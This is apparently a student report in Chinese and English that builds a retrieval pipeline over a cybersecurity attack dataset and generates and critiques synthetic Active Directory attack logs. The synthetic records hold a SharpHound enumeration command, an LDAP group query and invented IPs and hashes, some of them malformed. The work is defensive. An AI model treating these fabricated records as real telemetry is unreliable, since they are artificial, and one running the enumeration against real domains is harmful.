- 与 MITRE ATT&CK 中的 ****T1053.005****（Create Scheduled Task for Persistence）对照。
- 在日志中寻找与其他攻击相关的指标（如 `SharpHound.exe` 侧链、`DCSync_Replication_Rights` 等）。

TASK 2: RAG Workflow Implementation

Because of the GPU issue. I need GPU to run the code. So I found the same dataset at kaggle and run the code at kaggle code.

Cybersecurity Attack Dataset

Uncover zero-day exploits, lateral moves, and AI-driven attack blueprints



[Data Card](#) [Code \(7\)](#) [Discussion \(1\)](#) [Suggestions \(0\)](#)

About Dataset

Overview

This dataset is a comprehensive, easy-to-understand collection of cybersecurity incidents, threats, and vulnerabilities, designed to help both beginners and experts explore the world of digital security. It covers a wide range of modern cybersecurity challenges, from everyday web attacks to cutting-edge threats in artificial intelligence (AI), satellites, and quantum computing. Whether you're a student, a security professional, a researcher, or just curious about cybersecurity, this dataset offers a clear and structured way to learn about how cyber attacks happen, what they target, and how to defend against them.

With 14134 entries and 15 columns, this dataset provides detailed insights into 26 distinct cybersecurity domains, making it a valuable tool for understanding the evolving landscape of digital threats. It's perfect for anyone looking to study cyber risks, develop strategies to protect systems, or build tools to detect and prevent attacks.

What's in the Dataset?

The dataset is organized into 16 columns that describe each cybersecurity incident or research scenario in detail:

ID: A unique number for each entry (e.g., 1, 2, 3).

Title: A short, descriptive name of the attack or scenario (e.g., "Authentication Bypass via SQL Injection").

Category: The main cybersecurity area, like Mobile Security, Satellite Security, or AI Exploits.

Attack Type: The specific kind of attack, such as SQL Injection, Cross-Site Scripting (XSS), or GPS Spoofing.

Scenario Description: A plain-language explanation of how the attack works or what the scenario involves.

Tools Used: Software or tools used to carry out or test the attack (e.g., Burp Suite, SQLMap, GNURadio).

Usability ⓘ

7.06

License

MIT

Expected update frequency

Not specified

Tags

Cyber Security

<https://www.kaggle.com/datasets/tannubarot/cybersecurity-attack-and-defence-dataset/data>

Cybersecurity Attack Dataset

Uncover zero-day exploits, lateral moves, and AI-driven attack blueprints

Data Card Code (7) Discussion (1) Suggestions (0)

About Dataset

Overview

This dataset is a comprehensive, easy-to-understand collection of cybersecurity incidents, threats, and vulnerabilities. It helps both beginners and experts explore the world of digital security. It covers a wide range of modern cyber threats, from everyday web attacks to cutting-edge threats in artificial intelligence (AI), satellites, and quantum computing. Whether you are a student, a security professional, a researcher, or just curious about cybersecurity, this dataset offers a clear and detailed view of the current threat landscape. Learn about how cyber attacks happen, what they target, and how to defend against them.

With 14134 entries and 15 columns, this dataset provides detailed insights into 26 distinct cybersecurity domains. It is a powerful tool for understanding the evolving landscape of digital threats. It's perfect for anyone looking to study cyber threats, analyze attack patterns, or build tools to detect and prevent attacks.

What's in the Dataset?

The dataset is organized into 16 columns that describe each cybersecurity incident or research scenario in detail.

ID: A unique number for each entry (e.g., 1, 2, 3).

Title: A short, descriptive name of the attack or scenario (e.g., "Authentication Bypass via SQL Injection").

```
LOAD VIA
kagglehub - pandas DataFrame

New to Kaggle API? Here's how to set up your API keys

# pip install kagglehub[pandas-datasets]
import kagglehub
from kagglehub import KaggleDatasetAdapter

# Set the path to the file you'd like to load
file_path = ""

# Load the latest version
df = kagglehub.load_dataset(
    KaggleDatasetAdapter.PANDAS,
    "tannubarot/cybersecurity-attack-and-defence-dataset",
    file_path,
    # Provide any additional arguments like
    # sql_query or pandas_kwargs. See the
    # documentation for more information:
    # https://github.com/Kaggle/kagglehub/blob/main/README.md#kaggledatasetadapterpandas
)

print("First 5 records:", df.head())
```

+ Create a notebook

Hardware status icons: CPU, RAM, GPU, Power, Refresh, Menu

```
\
community \
```

```
dist-packages (2.10.0+cu128)
on3.12/dist-packages (5.0.0)
3.12/dist-packages (1.12.0)
on3.12/dist-packages (0.49.2)
.12/dist-packages (1.2.10)
./lib/python3.12/dist-packages (5.
.12/dist-packages (1.13.2)
12/dist-packages (4.8.3)
lib/python3.12/dist-packages (0.4.
on3.12/dist-packages (0.0.9.post2)
```

- pip install the requirements

```
!pip install torch transformers accelerate bitsandbytes langchain \
sentence-transformers faiss-cpu datasets langchain-community \
ragatouille pacmap tqdm
```

Session options

ACCELERATOR: GPU T4 x2

Quota: 00:24 / 30 hrs - [Link to Colab Pro for more Quota](#)

LANGUAGE: Python

PERSISTENCE: Variables and Files

ENVIRONMENT: Pin to original environment

```

import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)

import os
for dirname, _, filenames in os.walk('/kaggle/input'):
    for filename in filenames:
        print(os.path.join(dirname, filename))

```

- Load the Dataset

```

from datasets import load_dataset
from langchain_core.documents import Document as LangchainDocument
from tqdm import tqdm
import pandas as pd

print("[*] Loading Cybersecurity Attack Dataset...")
ds = load_dataset("Tanvi289/Cybersecurity_Attack_Dataset", split="train")

# 將每筆攻擊記錄轉換為 LangchainDocument
# 把所有欄位合併成有語意的文字，並保留 metadata 供後續過濾
RAW_KNOWLEDGE_BASE = []
for row in tqdm(ds):
    # 組合語意豐富的 page_content
    content_parts = []
    for k, v in row.items():
        if v is not None and str(v).strip():
            content_parts.append(f"{k}: {v}")
    page_content = "\n".join(content_parts)

    # 保留關鍵 metadata (依資料集實際欄位調整)
    metadata = {
        "attack_type": str(row.get("Attack Type", "Unknown")),
        "protocol": str(row.get("Protocol", "Unknown")),
        "severity": str(row.get("Severity Level", "Unknown")),
        "source_ip": str(row.get("Source IP Address", "")),
        "dest_ip": str(row.get("Destination IP Address", "")),
    }
    RAW_KNOWLEDGE_BASE.append(
        LangchainDocument(page_content=page_content, metadata=metadata)
    )

print(f"[+] Loaded {len(RAW_KNOWLEDGE_BASE)} records as LangchainDocuments")

```

- Chunking

```
from langchain_text_splitters import RecursiveCharacterTextSplitter
from transformers import AutoTokenizer
from typing import List, Optional

EMBEDDING_MODEL_NAME = "thenlper/gte-small" # 資安語料可換 BAAI/bge-base-en-
v1.5

def split_documents(
    chunk_size: int,
    knowledge_base: List[LangchainDocument],
    tokenizer_name: str = EMBEDDING_MODEL_NAME,
) -> List[LangchainDocument]:
    """
    使用 token 計數分塊，避免字元計數造成 embedding 截斷。
    chunk_size=256 → 精確 IOC/欄位級別查詢
    chunk_size=512 → 攻擊模式/TTPs 語義查詢（推薦）
    """
    tokenizer = AutoTokenizer.from_pretrained(tokenizer_name)

    text_splitter =
RecursiveCharacterTextSplitter.from_huggingface_tokenizer(
    tokenizer,
    chunk_size=chunk_size,
    chunk_overlap=chunk_size // 10,
    add_start_index=True,
    strip_whitespace=True,
    separators=["\n\n", "\n", ".", " ", ""],
)

    docs_processed = []
    unique_texts = {}
    for doc in tqdm(knowledge_base, desc="Splitting"):
        new_docs = text_splitter.split_documents([doc])
        for new_doc in new_docs:
            # 去重：避免完全相同的 chunk 進入 index
            if new_doc.page_content not in unique_texts:
                unique_texts[new_doc.page_content] = True
                docs_processed.append(new_doc)

    print(f"[+] Split into {len(docs_processed)} unique chunks")
    return docs_processed
```

```
docs_processed = split_documents(chunk_size=512,  
knowledge_base=RAW_KNOWLEDGE_BASE)
```

- FAISS (Facebook AI Similarity Search) 建立向量索引

```
from langchain_community.vectorstores import FAISS
from langchain_community.embeddings import HuggingFaceEmbeddings
from langchain_community.vectorstores.utils import DistanceStrategy

print("[*] Building FAISS index...")

embedding_model = HuggingFaceEmbeddings(
    model_name=EMBEDDING_MODEL_NAME,
    multi_process=False,
    model_kwargs={"device": "cuda"}, # 有 GPU 改 "cuda"
    encode_kwargs={"normalize_embeddings": True},
)

KNOWLEDGE_VECTOR_DATABASE = FAISS.from_documents(
    docs_processed,
    embedding_model,
    distance_strategy=DistanceStrategy.COSINE,
)

# 持久化索引 (避免每次重建)
KNOWLEDGE_VECTOR_DATABASE.save_local("faiss_cybersec_index")
print("[+] FAISS index saved to ./faiss_cybersec_index")
```

- Advanced Search Strategies

```
# --- 4a. 基礎相似度檢索 ---
def basic_retrieval(query: str, k: int = 10):
    return KNOWLEDGE_VECTOR_DATABASE.similarity_search(query, k=k)

# --- 4b. Metadata 過濾檢索 (按攻擊類型/嚴重度) ---
def filtered_retrieval(query: str, attack_type: str = None, severity: str =
None, k: int = 10):
    """
    結合語義相似度 + 結構化 metadata 過濾
    例：只查 DDoS 攻擊中的 High severity 事件
    """
    filter_dict = {}
    if attack_type:
        filter_dict["attack_type"] = attack_type
    if severity:
        filter_dict["severity"] = severity

    if filter_dict:
        return KNOWLEDGE_VECTOR_DATABASE.similarity_search(
            query, k=k, filter=filter_dict
        )
    return KNOWLEDGE_VECTOR_DATABASE.similarity_search(query, k=k)

# --- 4c. MMR (Maximal Marginal Relevance) 多樣性檢索 ---
def mmr_retrieval(query: str, k: int = 5, fetch_k: int = 30, lambda_mult:
float = 0.7):
    """
    lambda_mult 接近 1 → 偏向相關性
    lambda_mult 接近 0 → 偏向多樣性 (適合覆蓋多種攻擊向量)
    """
    return KNOWLEDGE_VECTOR_DATABASE.max_marginal_relevance_search(
        query, k=k, fetch_k=fetch_k, lambda_mult=lambda_mult
    )

# --- 4d. Reranker (CrossEncoder) 精排 ---
from sentence_transformers import CrossEncoder

RERANKER = CrossEncoder("cross-encoder/ms-marco-MiniLM-L-6-v2")

def retrieval_with_reranking(
    query: str,
    num_retrieved: int = 30,
    num_final: int = 5,
```

```
) -> List[LangchainDocument]:
    """
    Two-stage retrieval:
    Stage 1: FAISS 粗召回 (ANN)
    Stage 2: CrossEncoder 精排 (cross-attention exact matching)
    """
    # Stage 1: FAISS 粗召回
    relevant_docs = KNOWLEDGE_VECTOR_DATABASE.similarity_search(query,
k=num_retrieved)

    # Stage 2: CrossEncoder 精排
    pairs = [(query, doc.page_content) for doc in relevant_docs]
    scores = RERANKER.predict(pairs)

    # 依分數降序排列，取 top-k
    scored_docs = sorted(zip(scores, relevant_docs), key=lambda x: x[0],
reverse=True)
    return [doc for _, doc in scored_docs[:num_final]]
```

- HyDE - Hypothetical Document Embeddings

```
from langchain_core.prompts import PromptTemplate
from langchain_community.llms import HuggingFacePipeline
from transformers import pipeline as hf_pipeline, AutoModelForCausalLM
import torch

# 載入小型 LLM 做查詢改寫 (可換更大模型)
MODEL_NAME = "mistralai/Mistral-7B-Instruct-v0.2"

# --- HyDE: 先用 LLM 生成「假設性答案」再 embed 檢索 ---
HYDE_PROMPT = PromptTemplate(
    input_variables=["question"],
    template="""You are a cybersecurity expert. Given a threat hunting
question,
write a hypothetical network log entry or attack record that would perfectly
answer it.
Be specific: include attack type, protocol, IP patterns, port numbers,
payload indicators.

Question: {question}
Hypothetical attack record: """"
)

def hyde_retrieval(query: str, llm, k: int = 5) -> List[LangchainDocument]:
    """
    1. 用 LLM 生成假設性攻擊記錄
    2. 用假設記錄的 embedding 代替原始 query 做檢索
    效果: 對 zero-shot 威脅類型查詢效果顯著提升
    """
    hyde_chain = HYDE_PROMPT | llm
    hypothetical_doc = hyde_chain.invoke({"question": query})

    return KNOWLEDGE_VECTOR_DATABASE.similarity_search(
        hypothetical_doc, k=k
    )
```

- Self-Query

```
from langchain_classic.retrievers import SelfQueryRetriever
from langchain_classic.chains.query_constructor.base import AttributeInfo

# 描述 metadata 欄位供 LLM 自動生成過濾條件
metadata_field_info = [
    AttributeInfo(
        name="attack_type",
        description="Type of cyber attack: DDoS, SQL Injection, XSS,
Malware, Phishing, etc.",
        type="string",
    ),
    AttributeInfo(
        name="severity",
        description="Severity level of the attack: Low, Medium, High,
Critical",
        type="string",
    ),
    AttributeInfo(
        name="protocol",
        description="Network protocol: TCP, UDP, HTTP, HTTPS, DNS, ICMP",
        type="string",
    ),
]

document_content_description = "Cybersecurity network attack logs with IOCs
and TTPs"
```

- RAG Pipeline

```
from typing import Tuple, Optional, List
from sentence_transformers import CrossEncoder

RAG_PROMPT_TEMPLATE = """
You are an expert Cyber Threat Intelligence (CTI) analyst.
Use ONLY the retrieved attack records below to answer the threat hunting
question.
Cite specific IOCs, TTPs, and MITRE ATT&CK techniques when relevant.
If the context doesn't contain enough information, say so explicitly.

Context (retrieved attack records):
{context}

Threat Hunting Question: {question}

CTI Analysis: """

def answer_with_rag(
    question: str,
    llm,
    knowledge_index,
    reranker: Optional[CrossEncoder] = None,
    use_mmr: bool = False,
    num_retrieved_docs: int = 30,
    num_docs_final: int = 5,
) -> Tuple[str, List]:
    # --- Retrieval ---
    print("=> Retrieving documents...")
    if use_mmr:
        relevant_docs = knowledge_index.max_marginal_relevance_search(
            question, k=num_docs_final, fetch_k=num_retrieved_docs
        )
    else:
        relevant_docs = knowledge_index.similarity_search(question,
            k=num_retrieved_docs)

    relevant_texts = [d.page_content for d in relevant_docs]

    # --- Reranking ---
    if reranker:
        print("=> Reranking with CrossEncoder...")
        pairs = [(question, text) for text in relevant_texts]
```

```
    scores = reranker.predict(pairs)
    scored = sorted(zip(scores, relevant_texts), key=lambda x: x[0],
reverse=True)
    relevant_texts = [text for _, text in scored[:num_docs_final]]
else:
    relevant_texts = relevant_texts[:num_docs_final]

# --- Prompt Assembly ---
context = "\n\n".join(
    [f"[Record {i}]:\n{doc}" for i, doc in enumerate(relevant_texts)]
)
final_prompt = RAG_PROMPT_TEMPLATE.format(question=question,
context=context)

# --- Generation ---
print("=> Generating CTI analysis...")
answer = llm(final_prompt)

return answer, relevant_texts
```

usage

```
if __name__ == "__main__":
    # 範例查詢 (不需要 LLM, 直接測試檢索)
    test_queries = [
        "Find DDoS attacks targeting port 80 with high packet volume",
        "SQL injection attempts from external IP addresses",
        "DNS tunneling exfiltration indicators",
        "Lateral movement via SMB protocol",
        "Critical severity incidents involving UDP flood",
    ]

    print("\n" + "="*60)
    print("CYBERSECURITY RAG – RETRIEVAL TEST")
    print("="*60)

    for query in test_queries:
        print(f"\n[Query] {query}")
        results = basic_retrieval(query, k=3)
        for i, doc in enumerate(results):
            print(f"  [{i}] Attack: {doc.metadata.get('attack_type')} | "
                  f"Severity: {doc.metadata.get('severity')} | "
                  f"Protocol: {doc.metadata.get('protocol')}")
            print(f"      Preview: {doc.page_content[:120]}...")

    # 進階: MMR 多樣性檢索
    print("\n[MMR Retrieval] 'network intrusion detection evasion'")
    mmr_results = mmr_retrieval("network intrusion detection evasion", k=5,
                                lambda_mult=0.5)
    for doc in mmr_results:
        print(f"  - {doc.metadata.get('attack_type')} | "
              f"{doc.metadata.get('protocol')}")

    # 進階: Metadata 過濾
    print("\n[Filtered Retrieval] Only DDoS + High severity")
    filtered = filtered_retrieval(
        "volumetric flood attack",
        attack_type="DDoS",
        severity="High",
        k=5
    )
    print(f"  Found {len(filtered)} matching records")
```

=====

CYBERSECURITY RAG – RETRIEVAL TEST

=====

[Query] Find DDoS attacks targeting port 80 with high packet volume

[0] Attack: DDoS – Bandwidth Exhaustion | Severity: Unknown | Protocol: Unknown

Preview: ID: 237

Title: Volumetric Denial of Service Attack

Category: AI Agents & LLM Exploits

Attack Type: DDoS – Bandwidth Exha...

[1] Attack: Amplification-Based DDoS Using DNS “ANY” Queries | Severity: Unknown | Protocol: Unknown

Preview: ID: 2910

Title: DNS Amplification

Category: Network Security

Attack Type: Amplification-Based DDoS Using DNS “ANY” Queri...

[2] Attack: Evasion | Severity: Unknown | Protocol: Unknown

Preview: ID: 10063

Title: Spot Abnormal Use of High Port Connections

Category: Blue Team

Attack Type: Evasion

Scenario Descriptio...

[Query] SQL injection attempts from external IP addresses

[0] Attack: External Interaction-Based Exfil | Severity: Unknown | Protocol: Unknown

Preview: ID: 2998

Title: Out-of-Band SQL Injection

Category: Web Application Security

Attack Type: External Interaction-Based Exf...

[1] Attack: External Interaction-Based Exfil | Severity: Unknown | Protocol: Unknown

Preview: ID: 3002

Title: Out-of-Band SQL Injection

Category: Web Application Security

Attack Type: External Interaction-Based Exf...

[2] Attack: SQL Injection – Out-of-Band | Severity: Unknown | Protocol: Unknown

Preview: ID: 3196

Title: Out-of-Band SQL Injection via DNS Exfiltration

Category: Web Application Security

Attack Type: SQL Injec...

[Query] DNS tunneling exfiltration indicators

[0] Attack: Covert Data Exfiltration via DNS | Severity: Unknown |

Protocol: Unknown

Preview: ID: 2796

Title: DNS Tunneling for Data Exfiltration

Category: Network Security

Attack Type: Covert Data Exfiltration via...

[1] Attack: Data Exfiltration via DNS | Severity: Unknown | Protocol: Unknown

Preview: ID: 2782

Title: DNS Tunneling via Rogue DNS

Category: Network Security

Attack Type: Data Exfiltration via DNS

Scenario D...

[2] Attack: Data Exfiltration | Severity: Unknown | Protocol: Unknown

Preview: ID: 10059

Title: Identify DNS Tunneling via Flow Volume Analysis

Category: Blue Team

Attack Type: Data Exfiltration

Scen...

[Query] Lateral movement via SMB protocol

[0] Attack: Lateral Movement | Severity: Unknown | Protocol: Unknown

Preview: ID: 10037

Title: Detect Lateral Movement via SMB over NetBIOS

Category: Blue Team

Attack Type: Lateral Movement

Scenario...

[1] Attack: Lateral Movement | Severity: Unknown | Protocol: Unknown

Preview: ID: 10062

Title: Detect Suspicious Lateral SMB Traffic via Flow

Category: Blue Team

Attack Type: Lateral Movement

Scenar...

[2] Attack: Windows Hash Capture via Forced Auth Trigger | Severity: Unknown | Protocol: Unknown

Preview: Impact: Credential theft, lateral movement

Detection Method: Monitor for outbound SMB traffic to unknown IPs; alert on i...

[Query] Critical severity incidents involving UDP flood

[0] Attack: Denial-of-Service | Severity: Unknown | Protocol: Unknown

Preview: ID: 13422

Title: DSRC Flooding to Disrupt Traffic Comm

Category: Automotive / Cyber-Physical Systems → Wireless Communic...

[1] Attack: Impact → Denial-of-Service (Internal) | Severity: Unknown | Protocol: Unknown

Preview: ID: 9478

Title: Internal NTP Amplification Flood

Category: Red Team

Attack Type: Impact → Denial-of-Service (Internal)

S...

[2] Attack: CAN Bus DoS | Severity: Unknown | Protocol: Unknown

Preview: ID: 13172

Title: Brake Message Flooding

Category: Automotive / Cyber-Physical Systems

Attack Type: CAN Bus DoS

Scenario ...

[MMR Retrieval] 'network intrusion detection evasion'

- Evasion | Unknown
- Data Drift / Concept Drift Exploitation | Unknown
- Stochastic Model Evasion | Unknown
- Data Drift / Concept Drift Exploitation | Unknown
- Time-based Credential Spray Evasion | Unknown

[Filtered Retrieval] Only DDoS + High severity

Found 0 matching records

TASK 3: synthetic data

- Explain the role and value of synthetic data in the cybersecurity field:
By generating artificial yet realistic datasets, synthetic data enables cybersecurity professionals to test, train, and refine their systems without compromising sensitive information.

Prompting to synthetic data

- Prompt:
There's including the explanation of the prompt I design.

```
You are a synthetic data generator designed for controlled, realistic dataset creation.
// role definition

## Objective
Generate 20 synthetic records for the dataset described below.
// output from the dataset I given.

## Constraints
- Data must be realistic but entirely fictional (no real persons, no real identifiers). // avoid LLM hallucination

- Maintain internal consistency between fields.
// avoid the data LLM generating can't recognize

- Avoid duplicates.
- Follow all schema constraints strictly.
- Output MUST be valid JSON array only.

## Schema Definition
// Let LLM abide by this schema format

{{SCHEMA}}
# Example:
# {
#   "user_id": string (UUID-like),
#   "age": integer (18-65),
#   "email": string,
#   "country": string (ISO country name),
#   "signup_date": string (YYYY-MM-DD),
#   "is_active": boolean
# }
```

```
## Distribution Requirements
// Give me the distribution after output synthetic data that I can double
check the information whether correct or not.

{{DISTRIBUTION_RULES}}
# Example:
# - age: normal distribution centered at 30 ( $\pm 10$ )
# - country: 50% US, 30% EU, 20% Asia
# - is_active: 70% true

## Output Requirements
- Return ONLY JSON
- Each record must follow schema exactly
- Include 20 records

## Validation Checklist (self-check before output)
- JSON format valid
- Field types correct
- No duplicated records
- Distribution approximately respected
```

- result

Ad attack sequence synthetic 20 · JSON

```
1  [
2    {
3      "sequence_id": "SEQ-0218",
4      "timestamp_utc": "2026-01-15T16:00:00Z",
5      "actor_entity": {
6        "type": "User Account",
7        "identifier": "rkim@corp.local",
8        "sAMAccountName": "rkim"
9      },
10     "action_type": "Process_Execution",
11     "target_entity": {
12       "type": "Host",
13       "name": "FILESERVER-03",
14       "DN": "CN=FILESERVER-03,OU=Servers,DC=corp,DC=local"
15     },
16     "action_payload": {
17       "process_name": "SharpHound.exe",
18       "command_line": "SharpHound.exe -c All --outputdirectory C:\\temp\\bh",
19       "parent_process": "cmd.exe",
20       "hash_md5": "163ae3416b53d3148c58ea95"
21     },
22     "context_info": {
23       "preceding_privilege_level": "Backup Operator",
24       "last_successful_auth_method": "LDAP",
25       "process_name": "powershell.exe",
26       "edr_bypassed": true
27     },
28     "network_context": {
29       "source_ip": "185.199.44.12",
30       "destination_ip": "192.168.1.10",
31       "port": 135,
32       "protocol": "WMI/RPC",
33       "is_external_src": true
34     },
35     "detection_alert": {
```

Quality calibration and analysis

most reasonable: EVT-01013

```
{
  "sequence_id": "SEQ-0221",
  "timestamp_utc": "2026-02-03T06:00:00Z",
  "actor_entity": {
    "type": "User Account",
    "identifier": "rkim@corp.local",
    "sAMAccountName": "rkim"
  },
  "action_type": "LDAP_Query",
  "target_entity": {
    "type": "AD_Object",
    "name": "Schema Admins Group",
    "DN": "CN=Schema Admins,CN=Users,DC=corp,DC=local"
  },
  "action_payload": {
    "query_filter": "(&(objectClass=group)(member=*))",
    "output_attributes": [
      "userPrincipalName",
      "memberOf",
      "servicePrincipalName"
    ],
    "scope": "subtree",
    "size_limit": 500
  },
  "context_info": {
    "preceding_privilege_level": "Standard User",
    "last_successful_auth_method": "NTLM",
    "process_name": "cmd.exe",
    "edr_bypassed": false
  },
  "network_context": {
    "source_ip": "10.10.2.31",
    "destination_ip": "192.168.1.11",
    "port": 389,
    "protocol": "LDAP",
    "is_external_src": false
  },
  "detection_alert": {
    "alert_rule": "AdminSDHolder_Group_Query",
    "severity": "Critical",
    "siem_id": "ALERT-8973",
    "mitre_technique": "T1558.004",
    "triggered": true
  },
  "attack_stage": "Reconnaissance",
  "data_quality": "clean",
```

```
"event_id": "EVT-01013"
}
```

這筆紀錄描述的是攻擊者 rkim（一般使用者帳號）以 Standard User 權限，透過 NTLM 認證後，對 Schema Admins Group 發起 LDAP 查詢，攻擊階段標記為 Reconnaissance。每個欄位之間的語義都是自洽的：

- **Stage ↔ Action 一致**：偵察階段使用 LDAP 列舉群組成員，這是 BloodHound / SharpHound 最常見的行為模式。
- **Actor ↔ Privilege 合理**：Standard User 做偵察是典型的攻擊初期行為，攻擊者還沒拿到更高權限。
- **Target 語義正確**：查詢 Schema Admins Group 是高價值目標列舉的標準動作。
- **Alert rule 對應**：AdminSDHolder_Group_Query 正好是偵測這類特權群組查詢的規則。
- **Network context 一致**：內部 IP、LDAP port 389、is_external_src: false、edr_bypassed: false，完全符合低調偵察的行為特徵。

唯一可微調的是 MITRE 標記為 T1558.004（AS-REP Roasting），應該更精確地對應為 T1069.002（Domain Groups Discovery）。

most unreasonable: EVT-01004

```
{
  "sequence_id": "SEQ-0218",
  "timestamp_utc": "2026-01-15T17:12:00Z",
  "actor_entity": {
    "type": "User Account",
    "identifier": "rkim@corp.local",
    "sAMAccountName": "rkim"
  },
  "action_type": "LDAP_Query",
  "target_entity": {
    "type": "AD_Object",
    "name": "AdminSDHolder",
    "DN": "CN=AdminSDHolder,CN=System,DC=corp,DC=local"
  },
  "action_payload": {
    "query_filter": "(&(objectClass=group)(member=*))",
    "output_attributes": [
      "dnsHostName",
      "operatingSystem",
      "lastLogonTimestamp"
    ],
    "scope": "onelevel",
    "size_limit": 0
  }
}
```

```
  },
  "context_info": {
    "preceding_privilege_level": "Backup Operator",
    "last_successful_auth_method": "Certificate",
    "process_name": "powershell.exe",
    "edr_bypassed": false
  },
  "network_context": {
    "source_ip": "185.199.44.12",
    "destination_ip": "192.168.1.11",
    "port": 389,
    "protocol": "LDAP",
    "is_external_src": true
  },
  "detection_alert": {
    "alert_rule": "PsExec_Remote_Execution",
    "severity": "Critical",
    "siem_id": "ALERT-5422",
    "mitre_technique": "T1003.001",
    "triggered": true
  },
  "attack_stage": "Lateral_Movement",
  "data_quality": "clean",
  "event_id": "EVT-01004"
}
```

這筆紀錄存在至少四個跨欄位的邏輯矛盾，是典型的「隨機賦值」產生的語義不一致問題：

矛盾 1 — Stage vs Action：attack_stage 標記為 Lateral_Movement，但 action_type 是 LDAP_Query。LDAP 查詢本質上是唯讀的偵察行為，不能代表橫向移動。

矛盾 2 — Alert rule vs Action：觸發的告警規則是 PsExec_Remote_Execution，但這筆事件根本沒有任何 PsExec 相關的 process execution，只是一個 LDAP 查詢。這個告警不可能在此情境下觸發。

矛盾 3 — MITRE technique vs Protocol：標記為 T1003.001 (OS Credential Dumping: LSASS Memory)，但事件走的是 LDAP port 389。LSASS dump 需要在目標主機上執行 procdump 或 mimikatz，不可能透過 LDAP 協議完成。

矛盾 4 — Timestamp 亂序：EVT-01004 的時間戳是 17:12，但它在序列中排在 EVT-01003 (18:56) 之後。這違反了攻擊序列的時間遞增邏輯，也意味著 Lateral Movement 階段竟然發生在 Privilege Escalation 之前。

Solution : Build a Cross-Field Constraint Engine (建立跨欄位約束引擎)

根本原因是生成器對每個欄位做了**獨立隨機採樣**，缺乏欄位間的語義約束。修正方式是建立 constraint mapping：

1. Stage → Action 約束表：定義每個 attack stage 允許的 action types。例如

Lateral_Movement 只能對應 Process_Execution 或 Authentication_Attempt，不能對應 LDAP_Query。

2. Action → Alert/MITRE 約束表：每個 action type 綁定一組合理的 alert rules 和 MITRE techniques。例如 LDAP_Query 只能觸發 Suspicious_LDAP_Enumeration、

Large_LDAP_Result_Set、AdminSDHolder_Group_Query 等偵察類告警，對應 T1069.002、T1087.002 等。

3. Action → Protocol/Port 固定映射：LDAP_Query 必須是 LDAP/389，

Kerberos_Ticket_Request 必須是 Kerberos/88，不允許交叉。

4. Timestamp 排序保證：在序列內生成時間戳後，強制做 sorted() 再賦值，確保時間嚴格遞增。

5. Stage 遞進邏輯：序列內的 attack stage 必須遵循 kill chain 順序，不允許出現 Lateral Movement 在 Privilege Escalation 之前的情況（除非有明確的回退場景設計）。